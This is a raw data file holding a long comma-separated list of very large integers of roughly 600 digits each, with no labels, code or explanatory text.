4317625227263533220904110400715789569869826367270947079962678689618303216432581071155136352680944411239146155962090597651286086104054924309245212733927313291497234228947504283684975384941252680330752242633822264241560013950309778017805895616065648480933032106204420655353789967638711081614116516938337443302076736832052545620809862083951492355670724315882252239716318446367578633257119219431192227715048262033428251860529445348036495575657711144834833417870023193636859211542817711300290205574241652765097721373970940812268885422218219735778766598770128151256064450595651688665809421872114044500999262438775316188357, 6009268210358665637068774288951622076773718680860036103887054718251611419268016844883085337174804354375826912102242950458059564227689876187285432560376555146437528325222293208852083855083230661399432566948274745427873585856548819818976369442522868627468540827377942538475211960454553095135257234200623459914804302570971821787071181640609193675183969351796696990261362529099392626214658829409066648642037121011366154508810870358481108521297843651904721613474413850824647575510852978393492288778976147297646162841248558934072019701399708387652673659289337463836086368161805253199849976551830711038337385120196148551097, 13536490421378380473804870021443019114072527439052132296774457896100885721255031392142638378741479597128417545054123676275647576713525450766402484527234394324052701100661770006578854155075921429381001877892971007806810454014951959552903892101510606890910381874597514507572889806501620210798981309965107919153208614620621618082598632030492185022549763233367164309728328583248114412129863480186195458648051380358413435912996702433769415325417569989830419922740885127453644788852914683736230200891433085336771773905393097463313218842185463406306807023929234492855566486921528735906031449023852161062499877703496340252301, 8441314907248187736374297029514958470569340253084036635151743806870111400548894977226940010903512977525188613276825119401187760361964701381356489022729960499750547853886646345145770328465377810159219394125017259461655984606085503910803178032020285778122538524611322503597455433511996067093318277500582847855490885712033124941093277924689768866910476843829527807091144442643107789532894148973268390216828993381877405772760804516071629109208331582828242345126847432013824787668017735393629986616077608501051918926810940248530522432991032297098693401211913738055287204527521763465779963109533834646372060856926253972131, 889379590594645939349612545372016712841005657261424943298191730124050437579030011916714303377281336753333261395215504804356694877258924720291947913277606869868604770841932878964543520538666232708315316563591758570930877852295614451758236080543553636160348518081854980633472649335981078842582741277912656024662315173239314261403084913581943620662631362687050756096257077860334750257684290444259675749868282832165378410838801669077267657328327220349099465500158494421270341281256918086643128846536050912734215360769390868313610255120839587401750859787467151379239418250493656144589320817110428374715541396771091349417, 513960913671954031639059447811665309014208604279725783623071049485467390076978927808940480426147383827417926327904764729956529028230129350950373554522583147673964911829835588454934507582644962521373055125073909648725277327778200497633983008561423158705931058201088852858495190084041131854716107500649486307877153084644145683755586325560901195638945035797270306765975243234530295540565642744492640390163352044952251789436983751074000359499780677370952140117540083241421706483548079029265031611432761411698293723006224832625670277394443303879430862406415222301286074978003096825539989658028484600565554077965163871075, 12784133621494786317206223502271650853557670299595382872838369412075420688824547188321385891026781105979520575690639149528411997058677263291454440551270094791701862802222067778300050961718119204734314033514413939863247765836379892565236617032841508670572744815843021392529577970303323931853472572533602085596203083247772716315599160128185395536006538637313397916527812773307150582188979812393327884183276895537830685957917763966959605814477150058333238398182752713113177540574589901113741662620431882349102082017531495479247090554300863256697917225034407596926780077069618334660971158267542563975482297152090672612542, 7946858568456275901353634795296449406207104010944282742550939518582039545180673182830999490481074160761552090458825583418491578733831333099000143398315025904922452929559236356692923505343709601352469065167497117411308572404001642182737523396330418015945514220920888259525578277603740594822862749014467288501573118700522532283379408856268078887566148137662235818843322254663478431852397795168643768676684838622562933676074433889438196076839463472625739166494273215019449005102876746446370633298170401862655149134054367406414018358417110654594360526155017664888275993629567368296213931757172095619843734838440847617346, 2175304100027010394765705893856450743510008174694321093330107522328789723938431112945437167082492503187928250015961816804557726018090345287666437208228760175837171705672474586043943235487138613777327062678518026813695034084346029193578873498451221247618059531690690343131091953433840018420264879384642811087248340844826617758755337651257675354653419610323598106865101289464779492771350437446675907542536464769122204493668040687254615483331338032165192224353004888172648547383850371423112882838441237165556385633123021902569144045897305613765810680100536135594511086887054346712169530301057660431139923385592854213613, 9115094823316681198123128999721751896418899466971022514436230540668968676985805982744325122282058769394363274855196012132626434220516804346615521276492853800970988917339787962562901680116963157877044518455130918445306280418781016136272648854716464244914398154297943577281442452833554819454969116322702533232164376705324798712067074532827543372625847145873578566088719660121617651744890925666798348264040060683787640616817056004029900901000582159679619898108581615876977926906895428593568821434297775504165523008042373836343264742084016342061321967294865148170293185425870262690503782785370023923094940429605629429763, 203287614655859984522450549431105006564070082490521737033581954425354279354236849478782458683143559002757390685992245999465879537464095975373985688536438329750472563274552149355767985257028400257758534513308415139433050467042311746934511834544440606716906319718859024514957221832451629225677360558118945851493225855158743977517448626221055623073419143595084230708279570245259971608417826711601796148003974135256176194351719846883361179502463020206709741519945216395865473706385930225721664690933698998664926934329196769173394250663418376928061872165256387167225954862272588659760135346564018756974592700544124145436, 9883107688216660053637433463771504552194450749677280642271783194846720115722699248763436537385082343267738838952775948530735856112893883748572505385425701499031043174181904911929131461485971225852709000773838947525419646020975418761381967623427493902148278779555242758944344783281168461405622553410377268517796108584521708038550435008981297207373724024699292241716586109516683295836952713733269427699780155988216939709095644601082012807550786501665071260290540182284370749131727920826736343476078102229415877671523432741036966276654062929599914472036053714620414012487290367264190112392025088865139525221354227713330, 5440207855055275466762348444906955742829015966843652742470170680815435563901288121961767237101399366567164805678891107666491148955914683316072739241197643442365232078620181278849280624379020138930546354791571843214552821142571953586149565766031162827694678104049473377751701524286007898882379837885777928353020770020801796835801738819779496911726153647891894001199100119295806691177466453444400404666710871725430984427445844051544100473368773100178377498934671254826512818149213881540330976826238090303368956041386815448005495476802458756219983890377087416670286965550095035797168916110165889335258143948804040549938, 8655819144220064247148599853028878795108210544521306508164966295815789006966766382751596729430321026492805544827599270064266835350665555898037643359115235549381636992655537757096589003565425469446901536326908137404916761916241091956829074197000402890922554975053670405533137627647032005103027360722035424166100765999324479514952439205906489561221983409633219231149322454662957347736311176702706180673534715956916758947535802243191985142581654852579066227825267540413174703994745139807164587713935223132249237670633264857262959185581256544460761434340246997809995215193108353890048976387601435637124444377815765054512, 2549828590736741620819270939954841824530003386890690798385047804121983717625257509332569248217109261907025032405654066905335721222708625902496512004053071698200153410648990348263614647494508411497299198749983814262139600459932892601117080831019616851677972726709239745473327003035712153321945676828244050889401417205802573291814220918367269623457878721579150106523514677533490208033553525965302626101958207906012695336450305889957479707412673069907097456944191972509338899045083809325982306691197318116088199453968748519246525587845771266969331986984885832436078708901339379155445782206172762281647967404787994903875, 13480255023421504030102744183638325967561401878406689357710142569357577646797435343864946215370603411980735938174702112727893710844456090111046674139272366093169918767584756196317005731428295886138636759215837636045695054948899816694383041007002307308870473301195816143843598814226408760750108939891079948650822979056416551888488589754585714832319035108779634269421782009331665635259507999230480022590050014935328308044638149325917197906205450093766482796570945972776055339214403579785927059751223476591696688360164638512279748022417029034626737298731586561553143168555996917987927256741538091293252996184749356542376, 10331069871306131580332051297906247897700538986341424956200077698833277001312631014597315201938782850596643291624489873087435835668158947055072435632524774723565268628099714819146753035651904172372959548440892514335761382632122749519251297851153422590501288857107524265130437650954235881208062204284107935962222897345575642182139522114313368041123493165904247859889513166424348321188758826964247416383490198739053575381208465121331449195784565739918106711049773977844356778334720135837602902764510667590686679199621370056710546469087024472998808616832387798016830118196528680004913653816072625013197307070576948211523, 12602890320015622303841526584089523995205379039152756630075613132458586272905429613993507082379221995062491523328369650737517871596436679097850503319962251745583194747271887970359039916760615968687205570686231128269455028590306034678264956174441345568404258182225728979257019385756813319267286424565678403325600063994823911110797136680649090069332376507660397511783307891707442307899444432996513798926990157486412506913090295545636080124153598190920281419067713853632583259279233637008483954734334337749339322664414435736507629082352291102793445092958704909994717570581347177300287846314463713792006783412965919190130, 11218364421055374046418008576701584653788374145397854887145800658658058696403862716885588703700585194634841684740489931325208955102749532329161886550198003661580633485676063328036789761413865999029576416878556976901431633961860029554286390293125810829938455906669545779449712248682674284187985869944920857560925414594476953903350415542311752435640429333494626242236851665280697401738290144680991245878537666127700398931069829602779932203463059351131234830257013763158098631150444713822842510949782751317096240807139506934897574353606568100668806891195657603877972279848147125239232994147832930998824186161686196965200, 12547000120709181187992416128929665727063806532371909855329736958793771410530805098446393012211346894305628029724243448974220276051391277115741195121539546786654223930016061373637721130617749420215448436319069267233078312128904914352492700110796144537150380720898010544721131482695381424827286940720749193938002739807302480331729158991407573785205215280722396068279043137290368885597946701535087824142792207031198690469208907620724305220548104234414518525578198006670598006331479559791619635671775698549772543328090563562859156340885167998420008920993173367822680038456280705489473697753152722854316159001812907760049, 1553552582069851866855499245390441122339447160680054294186866192261448984003003284171754154944701263851864342998371094675798493905999118554032626467197844320093059856399093686243682746053539557975186554960300009587908436518082810884609668917453158840057593161358233463652096896138098906049077184471879464884353404248216377946185892779417266833333426552355676586990427824745129050712089842887832008168769475048609616477512026897692700605821718416069345860053191404256745189194842985272453925208267786233022966597723331110224689423306424588565556985268577001833967320151436347398436703593741855114486824162057429056193, 1798670904280035194148247319250952946286854382407426762269754784998239779334736742900987739354298564249119992888185249567272619380103553151038112770137750506530929636706797401880376819354138340025409311137334666860508919379083329929191159026501070249035189734455174436828802541647353903886261890035897506128717581253109538419254939297246762804148702889467961335433584599042734907455423552857440313785236466836652976199672280251984938229683378957444118184963712477264562437232015356145770623271836297648218438126567466684063353493332216148884425276336427424136171797944275707939913882732089292901681069383954714370845, 13780762260894603579147347784171823112483632545021487482290137190284814136751912139703641193391470429449336964416944755725537929054894675997409533920587403747032998472646431246022086574209199949354501722991305831801652603198030922490261962100148358651740307416969907251661147263760400127616977177699600196645870894111658201912352231617135570147381170422851698972380024621660529110104640542642563848438598150018957583175110116957584911445720960509183301017427967253433136357365781212664726815564664160075125210883964258162230393393544892847591394240164059602253933037604898057935533661826669244150474781860043331231257, 9223392802836033158256889991749304834600172644382789822344177650654387656729394427470159084537256080861772219847893581973772890408362223403889369084120205685433230942133658883658234401061417801928825967964726138616687001021602273961627914377762124927752166289513535215349758619555858223943918159620754827163987231323830457281382633284807330369288316455219127696272584968044546233942171303847739819514567024362196114319475143430672820706513267956697324067735798389054925103899794946871575765637763144095273580871435277164100952200212982192161895398347229602149104987867479507441564605708424484792597661578456916954853, 1090863455756964360182427467342779585934581198994457125481584771069360691858519821297957653324050115418341113156488057494955526602250792052918732211166420100344869503163876059129397037201198694569059501195490165680971497602336259402027807865442242375585930560731684773677874104284047294898854430738279767404176151579607624423224261919344761637478549425740860516339382390777740904805500729551997933167330645492073867959144545207143485427833157265159591394575851681681080776614293856728076379096992267521498499030131771928423608321013706467101937829949777472662498993099005158298906843841854238067755955025254889676936, 10628624949793377180789669615963941853666672034090779688727811752914134046322431427784900342174276662629424828403465963458266310989547025336844064510225618136209408802111491984070441378988463008625278265264704490271140074100145994103955873425605906264279406085154403888265018292833420701444892206147146956813970257512688490374689363868528294466123929549565843136228473192658830507867457097875135399453598458493189232366666506876506352144898566936492604486451533215802508426862050617154549975965191841490273055288668285238504270662541962753860624386355569087073451273388202766654633925794997259512515200709781804681557, 5491460316141659382572371573618935138728959060032314654080033113339761974127308895474814330509707487974279174582781302555058355325464021246655616432291228466456692370970362778351626310145587150794910585269451030485654382153129953130886011576453911321603269378489083746893112254596762675698226686879135775026942158262363604218777107142861587217713582574114112523559282762541999722436689505829404129309534695089317324943440186788339026244556287828452218945970306373425715985340408912958668643945714398485201372669754250394485919923098793548882804150620263551112255149377944704293467019599084315645276466100539350798898, 260530033338771951684245545204745158824102147274534727502944137986261018085317242204900541609697372053642589087924169384237595598657260572836217473431533241852748000284926949988713364543959838246011166212185000074763133335275564638316684983264885075532186975109443737928719253221275036479933268120187011681115085125560106743825078469942562916521657973956698233732861423623511602823422123844252388665830249091880362357400332080879382288773654452002643217285867857849427626266228664237445040781898900347391651475101584359947907092853212097267988408007984431464791162832551001828763648415325561374407195339902861221690, 2948131840427186027835742978561324495505481406702585768668352240183277630737669415196341082117417046723368257860915876463630074606015887458974159922336653659557647760166541152143164802023331458313299235841791209120846348280925647031301270365360815018871507131955828412541933207047208770129681355265173046890822762573166564089613109048060392947535622867224619799466091035237993420153755155397493587226378958391874762467470122405430260496401050632440941748282020302510440830317995492050789776356317102241729475812285186359679200523658726262247786886280754975376543017416030129707101443101288757386491132315946825672334, 858612668184334550705080103888683962271126145615307700124438459189850654023076378478247859997577730588195102395876049513095005255958043445001518303458607347285157646570274072796338542025222927760121087768453734003772337029807086975788597836741307846075878374134924463234563469204025874735007824045230601920043092368446449239104454631923463784228354246932386072528570387723074777284844124263792623956556667994861598960005620833244681777802558482167306379426215460787882587649298888652577534323677604239732737395770242579535065853674192195293096910062302121961262664886516725006974924589281930861005566623633436521161, 12390905527641208205484887193041905291353154962763774562659251433960224210512694972257787528324902383672862495229767278974432368672550501215650229355499891900206977201166073047117703149633254042222113353336826457596595886262541689378779674347236930349487403583695555798683646665470242259429388364592574848407960095057714084594694071344242721629044675951139626922618529292104496811345776087015022978061717787411651107100785603074079244531447626311517998040631964122035703207115098296659200798145162264227564876245986002518314753521859201141686667285701298929813525646683012288252277291564915240956720513143807187745503, 2921603479091378050986201588160719307224719615647168872730247005239371150834765330544273068041259403540507837732016833730869367348928254672154322207666773202096692260092081146696908883890878480169120837382216315960275292795096395209666883182962120708156104941064935088814989549868365512481645050022483338138179393967951816266171392303632442843725325540187833746777999765029075480014721739055398002524382018856520165672822093466274704322192558458434053538650192151890601661521453770426389539726602961933981996012755945779767263819556817748286978986383907117728696315171384569471498500842481669397142603415835127974160, 11650167350441317668928716653943615150685627037537500446571783633463603119417451006417914667164706509118951375309897914467292876802306258391739957237039397365710888631925991301309927391453349258336102981835957525193174145319455480103780553088806989266124548271153814649978628933697498219773057876232986065291667016972261127205402559661016303763154657212052549819563940237587630835464934587032769892249538366505631415917841125652382631397168856692110213076419134754071843420832194013244726825196043194791014217387818334516187527302901214585246367314658073367456095277794209459224031127107895730137300571239695569079724, 8021039383604751844614216724436477247011217170367153569208025319515730230482856729914258082822824006452846685450723959850903196066919228156189795637102149958079662336538064235529240538358806017335662105472683860395160991521693115465883192286215395768099339338323949299299362829155984673025881767344120132600914572039560619376388801668440500876487281979889281363017997726548832397284458801669644514491877362352503242766061458648031139390982154513682140742833230599629458385718639115273802389305395519673841871289974081595201525288567319853715914828443124342251255175765884989735605726927412713009724340335449974633514, 4477416761384710794203596978575324653274590383796301254792410928289990401145534168971258007875843044339403745866881434566382629367310734356480893035286174425028510657382391378617193120964905656491279602315047794760731960205688200074728582077318876161713320092968715915094114238083273556118669320657012258036843280272164178280988756447428345753513498417597011257223342645265699727006343852950461893480338004676626644264558178354478847975115795471179578161929247580986857150123507112409001580100455212502752531485108233879248197247713348415965267531952063070148676356144156803685917894597971846841383828089709876286736, 7206708692979071065159904400616961722593507836537900372654226352786504402579734053203163760146383313528238170682451024185263551885577415755261496324119785572821146117304473078761870643239961781272908632631503074383879197347740304186320165324722094288765539109961122480671343685061749545752322281338528592810716584360488106710590057545348501326778207966008134102248610103452517387810006626168888860750330198019524961559754939236547102704688402400242837790161275345368089788151080067008343475522115042327684176044321207351612203517077779280310473916393719841290997846034314283393278990299747253287259707744910932539408, 1406540507967677161705225090169976104564245394108254054047004709970985103394199356556066906255223915874645192382694814704234006839795363931808611097384205472752739243764787203529988381617177266142286640765922381790105277376972801136385414770701862620322481959783032276172764707810736247064053214250445093834894366232148406317565498718853251497270312872587973274234590601200663519261638482166732911407189692160419566967502286408406238651690052532002491976533144388490818988098941324131755913010369204114872713267589773463760505155143113122292080203877817019049020008019773876253366843203793909507017947491102137648355, 9310494543900908934600341922423248773201063423074782237830898147106348926911457148898171190393007887588715888441423801549265412246994926111286542091708764738087508665649450752933313796099761307430733808467540019269564146362619045166278876623913620546176757207752172943861126598087495010429482084621931439220849311205935192277310344710148352165706240820459291138527191754885925681629533544841071589388954231634029726216273034042710159614377879982956995774771363211361653171538699046016034068461455865227330410742724695416996120081822493726324193962366069372767629773959700090420726280903503347144785621449091199698439, 3278034746557838216148747361042690395117260457269069556753145494940212901279971015035154048826617048262529572095211723156244488635699113995343804470719660062087464587837821630583394921657080163595714738198537602950769897574500246587126718759426989839149792776412454182790795492085113933269863756059391958041684740383423512851571530521985584220450404275092477363347693232003361647047832912928215039755287765113900329017753913735640486787943783964003020901478925734835150061178093485582634318220462290024209425636521816124223744595646264346602512925710205678505440600208465870720766418740440896422083697081371390248497, 12343407036688480280091218619067409894190981300330095107619100682949004592277107937537193254319723934236408889442364246283274047590311505318394324640161478379310376117149562575637502832027780837360944321024400116681774315002957716153817688130719630886849540762315007802379001702799763232907348958986642453586397484393948391508691046783295420662839546289420811837979589835832956187124903239003068054551028608163386560964012838447407073187474484065777852863494475161232356165559505758099191831208136183748229302420542137334902581376649229824753064404813730109022286273413798853804057665795615638020687765019828392669145, 2770526812086431176255398098812350744464057417754123359108018739501487160362189919596881058466335189473785889222561332269204184057852254786419031075297597983604530053404269795796457838765616558266062808100370260455413783925258231424400074854336431994120509026158266095716672776977005562906822863950350093963316794376721496650128399100394397980271380510072076218781803383368016528947558420852494540768520826184359179891262513149961198753342327936351166038330735336139828995305915420784050489338274910121835129488810376396482946557121482073812055426957717839033826299446591097908277527069429166847715663726357676492531, 14096458189230156146953952978136043503853280271435268994283727135983678047935107246890306753759146439086190386633111394139095834469712447441048327783351784744492349935263720959908244629152166482290667858029725195300767779990104422338047845925477749836618692401667545047365806196919368247379562850020982757025275434324592417874377031621859643583990859162143552160167215722558277429880478756113404598754410422477564111129393544275934121777254350558711389339620976023409735766816417156275024773371310575878324513901593157558740255989145673835460872668639352397020155834611075162316200135765077506836204168024352287364576, 1712168203779135470528292044598749024173719112506966121687728620984155833591542091657084914450190304558486865496250661115279844013609437992998517958065323911479174242740826960690060104760309359869598616987730346809031987907057172572960711921650986763178297831593646131532131746687744549504535815736026309126945970092215244986266544450052200795631905135037517754659369104751620977227121355542911094937006914253255763879957664807808697004846250370529098646161792003731117948757759955921977489091964365286181308761748158210065032229768929689726319038565734332532736464578706513765956223590981266026725197495819426924436, 13761215552618140671364805581836948225801377829856577875070754262879412740034419843388550644836563653516020903385906556450907236512748136254619139719652108885336290476336092613429462507858326792278511505682598394770456591767240779910672538967685132613789322873368190515749360502080080499151240194281717629749208348220125364257946870010951180551485096533635462089623961965498224867142801485141982776389959167062851782725559338064109311131278642644378215729238671475496730774767408362531202046690113774189795124255068261067832220459970996239888011310834244444517690929409664950278257262819542417404446258127903564569341, 7558582488229051837332539188307360097069978956965416411219466524276052075963179996252345334428822579389833494260759145282050293117022833592761075541351765760549276653843815168813624345025270238336582927104290310667218597120735925130162277466237347421661235744334399122756068577962631966896455856876969562329358779339102658138990043079795171548841787227537473092656005967563639809780407309095757745232189047442467319145873548222606282427687900518518236257301628782375814253559759745769120836525998229890747817352593684237101392183605411867137208545064100070473089291402656194713695553527188242266586667835779086805228, 3547542725376026370540033325405696146406260099661226360537994064117264097529655106479687164505614087152750518121277951399014623077218293339712685778188559735769183114619734263341361416486872015229411809501106708425276235036824108508130213267140971251811791338799212021427235457014273240598763135577405433694550632481622969175291100195876646029196538843785795093499967503420706118502260864250434057818567638274215885381602359693514928190693738940666795849370355337751512738079529664638048902704043049895015267808094731366946760063082188400639247322478886706877934127852839875206066586573676506821832679141210202116892, 12448734425402865799777453080811659487659130140747975798410709255238174664908611202987859655966575890660026426892433861410944676586449405759738406142058310998580490765822963735559634207628454671630012230105807922839072494114738735192835644139388341017326101415479294840801789875091881349889038586462813779139348948106520671808237635738739461093846445886998707663774493738052985241253195505492072771098920478708784457870301225296505109455105367642800772644108916282562310064666267909920175215179308834918136129037848058653609298873202689149912593922900339745161971758665131073942948844190162813386640670031422346314079, 9707049501926945847610789143910211076942624758568289322848500798374357995476947455605337845818284328249035847091294671461588897143865663373155229888712120410830596196613866361780874130530121709852769174236709362861349895084652924902991625028620868721547096779011757197752751149459717557248067408358895814928382664811294836351085935948642814572062995471295573677688713111211265995185252681778675606720482436519317448736207906260048359594586019752731985207260644020524474411859294588135467481504395226342385583873471815672758457248568104671300533597696799416164932852740011702561723040351673569819080182626620027799160, 5997859100053191858873883284317503344885216952219401290137414511728329792348861664001620421765351349016842096297007973732845665422397761548060845150070294143140932182813956161264094176662853120684982897596484556374634501659247106618452641826922410727951217809059801035349500151467949757089730110615275631842430146411395636854048524885953926565552566518033112023547181353098155683441799730243495565973777085736996523744800755366069898336644236835546478758561899183904313036410975326408627437687950466379233450415679754644631286437654373601245025504773302265999255130982876751709032824525058322476614743456789952670691, 2594426081824688468483901666578948937662785307268869330950954684436104993117692626026513919210329353605100113866759879767626329862322968875706939522926813344391055102238112923196013678792518571326815112240470396151182915819662977623574546490770710004517673439082147261429032455723695799337662683147884731475368544788679337235050217465938680540334323077978645691329931035903717407975179749469634088584355333889022629767729256232841328112726313556893164081782859928316146653709160272346236468091744182130203655050557041532515717562615804964277798294595214811259219416076397660094310332940986805005667856868508012775091, 4915469893210558064866173577613646679891389969808644368885794019869280383707910359216156542107417769524946049192646138656280969878706156935331827750782984796852694052607436430581378526906211397201323186249213711241449576880830200306070092389866829163755644003286087277586617346692674065426872717596445988381683588161070796139646988133571419426331585258833416159573181210963742577641584288413086859407058725133419670445998711061356863954173753302224553276783471558981627052053865201689833338063386690171988150624256619081193017898866171556299107233088680633955182396746097356800139979084696251220378697777099774917488, 14019248849969844673941349783442299840228647687821448313671465086544037575808658490029768180390178463142724041516997749176256777989941632119364874668639357503474436472795201415535514400893482656763358072760437698477657963949086036785056280976621499672712933098359184213868076262615871441965671453464763907573363115315321771997192473130527693328806235949548431653138742658566846271462205851184472134531116356592425014108965715127148069024950395272635702893943679829910425651237359721766862189661298853136243177699567812561868209056917377089724878550762924443102419280127210202148001068825994194775989262340286542954512, 8810315116357539992065165677008632947747872570193457415050316861430891332873367324397762386412692872839544009647875893208764137704827800757807415324764289920057914996826371541801013355130986469478668367708547355203504704148024187922274556009386676137468678532210803282601372423982788052194071701817915979042097974119422502771529653117376188233254683421970582959327168390618575806565657146580253796149321742774627227960987049552667360847536890622191017309639644429891572522588290194168395801531082133941276986015650075188255994723360386747869495454536281108494899019039395029504943467012968504321625648985749636242606, 13566232565927369447482829466066912458193479299374735715590529671276916916738152188498001451642299741339644716756693193929842191348686266382787878874261180150395198290545471198652247285121673427736379543398656936272726596584780905519069993171798960576210882146406380783070515574688327023597874327541558849184967902697304064979664395105113968967073808480395086944136441146369272907407412592249594750136817042836274017828652943851999975369742438496733183322513416947890518669387256048133435564552896602866928059916948793089480529304261673054147665320883540379423277038662253497561792706676031694875606069965313871021416, 8590921492906678896378420445351560926713957227235538265053303414637623106519316654858858680388567830357664016415076257134804156130563429717920101507029698114059204165065273707432915635246065210277830039845269775627979911051125405744916197098223489496209021770075494541663478261542816375437774633343494450499133211459407722180761806842476265953434065668224752490629180106246485805540777333260100385531830644539401536908161979087070185905273659584851355449083167196113725470070737894996856362343071759001984592265624880693320408861793780641188239219274092706122785333051271329826143776161781288436631722888934524712143, 8845252466616023879448678251562690798307329340790009403446289300428734948299486367974550804903303672803167315323793175517758107699690177542501460405470047925123289284821805548152764327132162938391297601486280124848829871635835226472850797258248484073614030862908180838665316447181775740068860205152303550776258476314449140396099917434488427784579685227672506088074676008008967426444977276431590245995757215902606273799733785103437128677746687835350950515120114439340578176985677978256130436741773449219681045728728955574588702125891036121586626887082920925427369782497578178536890902267158850606592265390865506669673, 1137291165032930263575543027422156939837541641547601760507322210788099249341393114804540475367565126297874372891394011262926032276507568362116041682906791123145963860747782780434853842463936395157517070582970141279851534734962006939017072929363013631599269342506763623208732096416259297718731400694820391635210104908594712802565934881456579895732802599800540636985415210241460189685085603437447571954509193317692485780785798564345530792768813986636809515572987678982486439698066166831441999557091648731249772813511700207392362426456879951072103800762849947930632836160871543681598410709922765452424345873142672266761, 13513807767221454962774765606799569477565617628797563912809798593793473406135664131936547232620224430610282821344483248505605078512656744567449743723678273285531981075631642729094345810811866090141147792047218571849337364726734729429055247719307380263753026740376842451566543861673563644948160144096970352503896388126112320971757785001231461505909797512610045271976200884424014399960505295234790475748395461970766584652942853007498227903733002061388463784848395026828319663949794486867351390469923713806579693493206285468341592628076399551484413083768779249301842099707969260635312935994500672232026066629544842561615, 1948173350373496741215028660780290545121514771666541429917214725389316516099704744675632030441982822048851471807242405077599493350468418243427175247112653693915364808986778291656831984952566832325369705328032701504808067748311315064576551844868622482806366199957953171785405751200403310222590133437462295047893406190658477172918489972788121602667475649200076472546741904907484381891362823762384549097066508901259699930842316143643920135338765011124427125035747121883045917528485256451642127282286432893144575196768052567166517051717119451092655584293158442695122635656563251551369324183388470755160900676889480516123, 3694379847580160611039484203604963835660815577208780146903607949016820301620455307554832098942049250220635827911567826077693631718369015931725158112022767639502401874238604575031054177437045164765611903236258004417594153719365770710448571596542798606004024686475997196663532850471968909521236218907049458255602816549703537446544375095785792848265474730141466688398831809233902146574662791809469706632432806574148439574004693509302717992998560834518126233290875236632494106268258222013605982691185318113673694528293186309488161106261037163626234874478104369474484793646963142312815857167880583154486897160702881783846, 13100710038542426656805076583687419632164662210545055587586737592310789510706302980620569264405360783248277996436146249115702798167955338955333171955392531672001238189514159298774905523553466342463867238918665852032567282134445151077686285421387791100175828117648344224276797822761123590891367579977648505787925172188700165152181711978479188803372382907124058265977868889302166458741425948623658657877794190304076049155895831078270339873829950967766017593828839707912214416972988262048443603583138939265185229104590333938863002633838898868175987402605265883284902740138017202465186038130073550038246010089896603725663, 3852652095822933778046931362644792467475824249936194071992637202696953764275937441277762654667214777690762208114969306581617521800729551998278398574402176003791391499256914310115672760000843705383731986117277642758850882810355767623252637387731481560395505912441813322993671475388814217476674556743472358938701965064413072884659051875760208196906937165575704341807700014804803838470804048651835572006887453120194602339851305565842770834144518789626855360453559616773550460338935135006398722235997124414678750736476504222316254087925756976395641535485434842907110189421731153061525831032708635644300664148210177301899, 12218212292555031547835220140121412464480708257422782553925231134369891943675767028453349535235845504946120458046949499186630221360908373098157344794716844167834796809242968300259859127326203629455442283192213729287881944801076151024158388298356736282178151885464382237605861076067430175912978814749738700955268171220745971180552595649565151466791025887069684021909595988591402706034234661782128769661377483754300601254937194594498452147898805698824765175568533810260146861201279508280547884607541280927691487674487066527311084845790997627666917393787232292294853237534105142562523090298337925617953336382244853752156, 2896785408539675548762728186954553064625555260594597496483215013779182425141679539276525994546526733026872776352493630290006129976480646399840212533092124655542014559467083615157785322073224886356616160266940654491266148507179710840379332033941096884956113201045305429741797926747173407243011050376917364885268193132382549375521197573595599907206875566368916510104820300985545364809233900524588350980968931452949729987917173828548392848659623205552703380962067591196034366037954964360630556952338386795758504508551601840861307828529037576771028918637862900826733051998148235254057176472218330330542051600289559575897, 4495214777104206154002530437474094268471277925222137381371536617146457310482279765513980173550446360598876649316227696557406548143603913421374364361063610474715008961404594966508667237635129178131351833481485010497018867746599052317793997473234460587534251190348065986081141459492732515137295209456934190611757636902123709461016061714356412413273948964326490306870133671246364317671243109642500307879843011279543764710847996925583379703383959543938208333235542236273305015713908444768889942221054292710264184043776812173569578002813602054202917870703910841410711507103553724047925021917002039921756046159888890242343, 5529844141894489844254713132328534957893455394146870381956030559690949307210022357762297743046411917454423382726841931258021598036218413956087240641403304784892150704501610653950162200496671190581234617520418780867840187257266376752917058798716388117989018362837863463646549984829858277851522339991753548773077412825204870946064236649347063984059459248604144327987059120732967246970879466050849997423221488498958998022596146739964376649533271893578633685987893363626780911970270796449409294393117570269554002816733489864019268355073109153801825119316622844904957496279684265904320613407282563631194950599321678554061, 7657120011593963475946234623666818180150961650519952898501728691120557955892745752375264929128113959868100946943714011955565958282126911025102655379200591993662103348293440973715073161628485200332761042547041328733567593604673037669433440663463341579391246652347207071124906384532734024570225933751304023025185754759520213532405042166476618173109991699562490019902979197149651867592793719646127934032256819020659021546070547620991514823448630448275672919447588368582427780359911165401715420526099720759990169336527218825816427599139815418919246745162492106819492298023950847447819932572883260255007894466674329361344, 7835961057263767274626348904955520141645979185947389774269597306809207190775736505642348312684394821344823461140830983808500621643342216042457275017803283991450679342713116864299640611452068690928845633025856512926165365432838156477435563612081555322873080944079915413399911270733026092278436238086963557109392673786993705368957556239605612735538671271826473004961692976438291167300367566932341740612645899969043640819289099089397355843884111614614215048650990844491199723349579805965527705442331349306541289746502898037431655892065491880713269018903996580510701591196253261102716942871446508193647037933334732964997, 11353314051483515551936821503808408238917055051903545023385176875084703551185642277274491393259077228767015423411422895545612938760410140931726216437555341695608783339442760329444053899335372103209133599680877521674602945910141554992545106225892908856917778992959308472715114250833961304535595573009941072248124379685113266284993666385963999176103504284892574508213956742303409090941635268668421005285679798220364234297855905686714654509693459202560872442211131177119111435437721347500959086853032250422784767654803369781417169390270151379541441103777007520967443810986726820653961823695262854029921638404102255837164, 11300348163305588274160436547736333822436038866940587285270441275614883284754283320370750755709719245887699367454997730295274109011039215723919851775724441780200988412837161079112304869844550997305826213526953804022989207469182380814744988487884010567692234634922061173308127004484122429884803927323682178308751205177734801549961508262272107340988822886855775589298642332495534703816669972689483902294731218076230271070352864707092010569575760655120073022420539618287925845479797673381713679165744928107426516279668714852362467481388011002164751932727927919142608616718594258408124871026789188723747022229157766627443, 5317190057185651676864655116193900175661763244958534732953359731572079314524983049850401656789617187417787771870221219056088862989571373026556313098099819298777822609414381859307262738166982542667808093700955630804174749255834411470144685601052874799546197267678142560679394576126742611410003931380249016492977821065715811530654813580269646139782731134295477672629745945991295821444488040223233184958860664786682821891554183706111918817287636264013525344373939534799865409160747080395802331258059560623539475444446225576048693022987972518801389657445288699430859371358934782526846715229174686326090248641441165875234, 1351569408956943907077681510659154696810675040858254191737287684344586639808748013554976975315699678508039390004710684970126992915073819300605817348337891646968976472751425631550615903539712595666404511832012777418584776759248226672826196055836363873821886408897037359543975538767623182623977172237539183729287404239021668169131175456354147253682981126254083212560811557636523384973513712006207797352328894847773433068606087660515915702028369887878622559276250117597373477548645223727125970141178069279030801782167387483388010418464128784411222628352130698190127998209646586643490939906954959363611428483829556433028, 